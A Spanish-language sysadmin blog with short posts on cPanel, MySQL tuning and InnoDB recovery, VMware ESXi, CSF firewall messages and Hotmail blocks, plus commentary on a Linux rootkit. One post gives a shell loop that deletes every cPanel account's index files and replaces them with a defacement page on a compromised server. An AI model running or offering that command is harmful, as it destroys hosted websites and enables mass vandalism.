CrkDown blog @cr4ckd0wn - Tumblr Blog

Seguimos en manos de unos cuantos ñoños

A la fecha de esta nota, llevamos casi 15 días de haber sido descubierto un rootkit que permite el acceso privilegiado a miles (¿o millones?) de servidores Linux en el mundo. Se pensó en su momento que eran servidores cPanel (que funcionan con Centos) pero después se demostró que podía ser cualquier Centos ( aunque dicen que otras distribuciones también fueron afectadas). Se ha visto en Centos instalados en versión básica, servidores con Plesk (servidores virtualizados con OpenVZ, Parallels, Vmware etc)

Se pensó inicialmente que el acceso fue a través del servicio SSHD pero también se comenzó a descartar debido a que lograban acceso con puertos personalizados y/o accesos con keys.

¿cuál es el problema grave? no se sabe como lo hacen y pueden hacer lo que quieran en todos estos servidores.

Por ejemplo podrían:

Ejecutar un comando que elimine o deje inservible un servidor de manera automática dando de baja a millones de sitios web. cPanel es el panel de control más difundido del mundo para la administración de hosting. En segundo lugar Plesk y también es afectado.

Hacer el mayor defacement del mundo conocido hasta hoy. Imagine por un momento un grupo de ñoños negociando con un millonario Arabe para poner un mensaje guerrerista en 200 millones de páginas web con billones de visitas únicas.

Muchos servidores que no son para hosting de páginas web usan distribuciones básicas (protegidos con firewalls, puertos personalizados y acceso con key) para alojar sistemas de información vitales como la operación de aeropuertos, clínicas, sistemas de georeferenciación, operación de máquinas industriales etc

Las consecuencias podrían fatales si les da la gana. Por el momento sólo han dado un triste uso: enviar spam.

Ellos saben que tienen el poder de hacerlo a escala global, pero seguro tendrían atrás a la CIA e Interpol, teniendo en cuenta que hace poco una sola computadora hizo un ping a todas las ips del mundo en unas pocas horas.

Por el momento la industria le ha dado bajo perfil, sobre todo cPanel ya que por supuesto esto afectaría sus ingresos, en general a la industria opensource porque le da la razón a mucha gente que no los escoge como opción por temas de seguridad. Triste pero cierto.

Esperemos que no les de por apretar el botón, muy seguramente ya están investigando a grandes niveles pero hasta el momento todos siguen "gringos" sobre la solución y tal vez nunca sepamos como lo lograron.

Algunos sitios que hablan sobre el tema

http://www.cloudlinux.com/blog/clnews/sshd-exploit.php

http://www.webhostingtalk.com/showthread.php?t=1235797

http://kb.parallels.com/en/115589

Error 550 SC-001 de Hotmail/Outlook

Al enviar un mail a Hotmail se presenta lo siguiente (un rebote rápido y el mensaje no entra ni siquiera a Spam): SMTP error from remote mail server after MAIL FROM:<[email protected]> SIZE=1606: host mx3.hotmail.com [65.55.92.168]: 550 SC-001 (SNT0-MC3-F2) Unfortunately, messages from 198.27.76.97 weren't sent. Please contact your Internet service provider since part of their network is on our block list. You can also refer your provider to http://mail.live.com/mail/troubleshooting.aspx#errors. Al ver el error dice: Correo rechazado por Hotmail en virtud de sus directivas. Los motivos del rechazo pueden estar relacionados con un contenido con características similares al correo no deseado o con la reputación de la IP o el dominio. Si no eres administrador de correo o de red, ponte en contacto con tu proveedor de acceso a correo o Internet para obtener ayuda. ¡pamplinas! Comprobamos que las ips eran nuevas, nunca antes usadas y además con una tasa de envío muy baja (puestas en servicios VPS o Dedicados para empresas) Se que las ips deben tener un Warming Up (calentamiento) sobre todo con hotmail pero en este caso ni siquiera se tomaba la molestia de enviarlo a spam. No lo recibía en lo absoluto Solución: Escribir al soporte de Hotmail donde le indica la IP y de inmediato los correos enviados empiezan a llegar. Esto se hace en https://support.msn.com/eform.aspx Luego de reportar la IP fue desbloqueada en un par de horas. Por supuesto si envias spam ellos sabran esto. En este caso fue rápido debido a que en estos servidores son ips completamente limpias. Uno de los rumores es que algunas ips que no son de USA (ejemplo Europeas o Canadienses) no entran "habilitadas" para recibir email. Pero como siempre esto es un rumor casi complot.

#hotmail #outlook #spam

Accediendo a un servidor VMWARE 5 con public key

cat ~/.ssh/id_rsa.pub | ssh root@ip 'cat >> /etc/ssh/keys-root/authorized_keys'

Dependiendo del usuario debe ir a /etc/ssh/keys-usuario

Extendiendo un disco en Vmware ESXi

Para aumentar el tamaño desde una consola SSH es fácil

vmkfstools -X 50G disco.vmdk

Ahora el servidor debe estar apagado, por supuesto.

Lo segundo será iniciar la máquina con una ISO cargada para redimensionar la partición interna del disco. Arrancas el disco con la iso de Gparted por ejemplo http://gparted.sourceforge.net/download.php y cuando arranca comenzará con una GUI muy para newbies

Eso se hace desde el VSphere en la opción "edit settings" de la máquina apagada y luego añades una unidad CD y en el wizard le dices donde esta ubicado el iso (dentro de alguno de los datastores que están en la lista)

Luego en options en Boot menu le dices que fuerce el inicio a la bios para que seleccione el CD como prioritario por encima del disco

siempre debes hacer backup antes para que no vayas a llevarte una sorpresa

#vmware

Mensaje de bloqueo en CSF

Activamos el MESSENGER con variable en 1 mediante el WHM o editando /etc/csf/csf.conf

Añadimos un usuario useradd csf -s /bin/false en este caso CSF pero puede ser cualquier. Es necesario para poder mostrar el mensaje luego del bloqueo

Instalamos el modulo de Perl IO::Socket::INET que lo puede instalar ingresando en whm en Install a Perl Module

Editamos el mensaje index.html que esta en /etc/csf/messenger

Reiniciamos lfd

Otra forma de instalar este modulo de PERL es

perl -MCPAN -e shell install IO::Socket::SSL

Ya esta con esto podremos indicarle al cliente que ha sido bloqueado por intentos fallidos u otro problema y como desbloquearse ya que normalmente pensará que es un problema de disponibilidad o de fallo en el servicio

Agregando rangos de ip en un solo archivo eth0

En estos días tuve que añdir grandes rangos de ip a una máquina. No me imaginaba añadiendo un archivo eth0 por cada ip. Para esto existe una opción en RHEL, Centos, Fedora

simplemente añadimos un archivo en /etc/sysconfig/network-scripts

/etc/sysconfig/network-scripts/ifcfg-eth0-range0

con la siguiente información (en mi caso como es infraestructura cloud son más datos como el gateway, etc):

IPADDR_START=192.168.0.100

IPADDR_END=192.168.0.200

CLONENUM_START=0

El CLONENUM_START es el número en el que comenzaría similar a /etc/sysconfig/network-scripts/ifcfg-eth0:0

En este ejemplo si ud tiene otro rango, digamos 192.168.0.50 a 192.168.0.80 ud crea otro archivo y ya no incluye el CLONENUM_START en 0 sino en CLONENUM_START=101 por ejemplo

Creo que me salve de días de trabajo.

#linux

Optimizando Mysql parte 2

Después de correr el Mysqltuner se da cuenta que hay muchas bases de datos fragmentadas. En mi caso mas de 8 mil!

-------- Storage Engine Statistics -------------------------------------------

[--] Status: -Archive -BDB -Federated +InnoDB -ISAM -NDBCluster

[--] Data in MyISAM tables: 5G (Tables: 43007)

[--] Data in InnoDB tables: 1G (Tables: 7672)

[--] Data in PERFORMANCE_SCHEMA tables: 0B (Tables: 17)

[--] Data in MEMORY tables: 248K (Tables: 93)

[!!] Total fragmented tables: 8005

Uno puede optimizar todas las tablas con el comando

mysqlcheck -o - A

el problema es que podría tardar al menos 8 horas en mi caso.

En este sitio hay un script que sólo toma las fragmentadas y trata de optimizarlas. El problema es que muchas de ellas (la mayoría son InnoDB)

#!/bin/sh echo -n "MySQL username: " ; read username echo -n "MySQL password: " ; stty -echo ; read password ; stty echo ; echo mysql -u $username -p"$password" -NBe "SHOW DATABASES;" | grep -v 'lost+found' | while read database ; do mysql -u $username -p"$password" -NBe "SHOW TABLE STATUS;" $database | while read name engine version rowformat rows avgrowlength datalength maxdatalength indexlength datafree autoincrement createtime updatetime checktime collation checksum createoptions comment ; do if [ "$datafree" -gt 0 ] ; then fragmentation=$(($datafree * 100 / $datalength)) echo "$database.$name is $fragmentation% fragmented." mysql -u "$username" -p"$password" -NBe "OPTIMIZE TABLE $name;" "$database" fi done done

Para defragmentar las tablas Innodb

ALTER TABLE table.name ENGINE='InnoDB';

es seguro pero es mejor sacar un backup. Tambien funciona por supuesto sacar un dump de toda la base y volver a correr el SQL. Por supuesto mejor por shell por cuestiones de time out

Optimizando Mysql parte 1

Los servidores Cpanel vienen con un script de Mysqltuner.com que es muy útil para servidores que están presentando problemas de performance. Aunque Mysql consume gran CPU, el principal problema es el consumo de i/o en el caso de tener muchas bases de datos, cientos o miles de tablas y además que se encuentren fragmentadas

El comando te da las mejores variables de acuerdo a tu entorno

/usr/local/cpanel/3rdparty/mysqltuner/mysqltuner.pl

Al final te sugerirá ajustes que debes ingresar en /etc/my.cnf

Se puede demorar bastante dependiendo de cuanta carga tiene en i/o (variable WA del top)

Cuando tu kernel no soporta iotop

Uno de los dolores de cabeza más frecuentes para nosotros las estrellas del sysadmin, es la pérdida de performance por i/o. Esto lo puede ocasionar cualquier script que coja el disco a martillazos por culpa de un gran genio programador. Lo malo es que el iotop no funciona en kernels viejos

Hay una manera fácil que te puede dar una idea de que lo causa y localizar a la fuente.

Descargamos este script perl

wget http://aspersa.googlecode.com/svn/trunk/iodump

luego se pone al kernel para que nos diga los mensajes

echo 1 > /proc/sys/vm/block_dump

luego corres

while true; do sleep 1; dmesg -c; done | perl iodump

con esto lo dejas un momento (5 min o el tiempo que quieras) y ya nos da una idea de que lo causa, puedes hacer un

lsof -p PIDID

¡se desaparecieron los mails en Cpanel cuando realicé una migración!

Sencillamente el archivo /home/username/etc/domain.com/passwd no paso o paso vacío.

Debe reestablecer toda la carpeta etc y si no logra tener acceso a ella, trate de crear nuevamente el correo con el mismo login desde cpanel y aparecerá todo por atre de magia

Lo malo es si ud tiene 500 cuentas de email :)

Excluir archivos del /scripts/pkgacct en cpanel

se hace un touch en la cuenta del cliente con el archivo cpbackup-exclude.conf

touch /home/user/cpbackup-exclude.conf

Dentro del archivo se incluyen rutas o archivos, ejemplo

*/.wysiwygPro_* */core.[0-9] */core.[0-9][0-9] .MirrorSearch .cpan< .cpanel/caches .cpanel/datastore .cpcpan .wysiwygPro_* access-logs core.[0-9] core.[0-9][0-9]

Otros flags muy importantes (el --skiphomedir) es bien útil para sitios grandes /scripts/pkgacct --allow-override --skiphomedir --skipacctdb $user $destination

Así se hace un defacement en un servidor cpanel comprometido

for i in `ls /var/cpanel/users`;do rm -rf /home/$i/public_html/index.* ; cp -rf index.html /home/$i/public_html/ ; done

Solucionando un problema de corrupción de Mysql Innodb

El innodb es bastante sensible a dañarse por varios motivos. Por ejemplo un problema de i/o en disco, una terminación abrupta ( a veces se demora mucho en reiniciar y si tienes poca paciencia podría derivar en que se corrompa archivos esenciales para que funcione adecuadamente).

Errores como:

InnoDB: Your database may be corrupt or you may have copied the InnoDB InnoDB: tablespace but not the InnoDB log files. See InnoDB: http://dev.mysql.com/doc/refman/5.0/en/forcing-recovery.html

Mysql sigue funcionando con MyIsam pero esto no es suficiente ya que aplicaciones que están optimizadas o necesitan Innodb, hacen necesario repararlo.

Editar /etc/my.cnf y adicionar la línea innodb_force_recovery = 4 >> esto para forzar la recuperación

Sacar un dump de todo con mysqldump -u username -ppassword -all-databases > dump.sql >> también se pueden agregar flags que se deseen con skip lock tables o sacar todo en una sola transacción

Mover el directorio /var/lib/mysql a /var/lib/mysql.bk

Iniciar mysql > service mysql start. Si pone problemas en Cpanel dar /scripts/mysqlup --force

Eliminar la línea innodb_force_recovery = 4

montar nuestro backup >> mysql -u root -ppassword < dump.sql

Ya debería todo funcionar correctamente. Hay maneras de reparar Innodb y sus archivos de indices pero dicen que así es más seguro

Instalar pdo_pgsql en cpanel

Los programadores dan mucha lora con este módulo. Es fácil instalarlo ingresando en el WHM en la opción Module Installers > PHP Pecl (manage) y luego buscar pdo_pgsql

Luego darle install :)

Además recompilar php con easy apache pero primero

editar o crear el archivo /var/cpanel/easy/apache/rawopts/all_php5 agregando los flags necesarios, en este caso el contenido del archivo --with-pdo-pgsql=shared,/usr/local/pgsql

Script para reestablecer permisos y propietario en cpanel

Muy útil para seguridad y para migraciones

Puede correr así

./fixperms user1 user2 user3

o también para todos los usuarios

for i in `ls -A /var/cpanel/users` ; do ./fixperms $i ; done

el script:

#!/bin/bash # Script to fix permissions of accounts # Written by: Vanessa Vasile 5/13/10 # http://thecpaneladmin.com

if [ "$#" -lt "1" ];then echo "Must specify user" exit; fi

USER=$@

for user in $USER do HOMEDIR=$(grep $user /etc/passwd | cut -d: -f6)

if [ ! -f /var/cpanel/users/$user ]; then echo "$user user file missing, likely an invalid user" elif [ "$HOMEDIR" == "" ];then echo "Couldn't determine home directory for $user"

else

echo "Setting ownership for user $user"

chown -R $user:$user $HOMEDIR chmod 711 $HOMEDIR chown $user:nobody $HOMEDIR/public_html $HOMEDIR/.htpasswds chown $user:mail $HOMEDIR/etc $HOMEDIR/etc/*/shadow $HOMEDIR/etc/*/passwd

echo "Setting permissions for user $USER"

find $HOMEDIR -type f -exec chmod 644 {} \; -print find $HOMEDIR -type d -exec chmod 755 {} \; -print find $HOMEDIR -type d -name cgi-bin -exec chmod 755 {} \; -print find $HOMEDIR -type f $ -name "*.pl" -o -name "*.perl" $ -exec chmod 755 {} \; -print fi done

Resolvers globales y gratuitos

Hace un tiempo tuve un problema con una ISP local. Ninguno de los servidores Europeos lo veía. Agregue unas líneas a /etc/resolv.conf con algunos de estos resolvers y caso resuelto

http://www.circleid.com/posts/20110407_top_public_dns_resolvers_compared/

#resolv

Instalar Subversion en servidores Cpanel

Al hacer YUM puede generar problemas de dependencias. Pero aquí un buen truco

Editar el archivo “/etc/yum.conf”

Eliminar la entrada “perl*” de la linea de exclusión

Correr “yum install subversion”

Dejar como estaba nuevamente el archivo “/etc/yum.conf”

Trending Blogs

Recently Viewed Blogs

CrkDown blog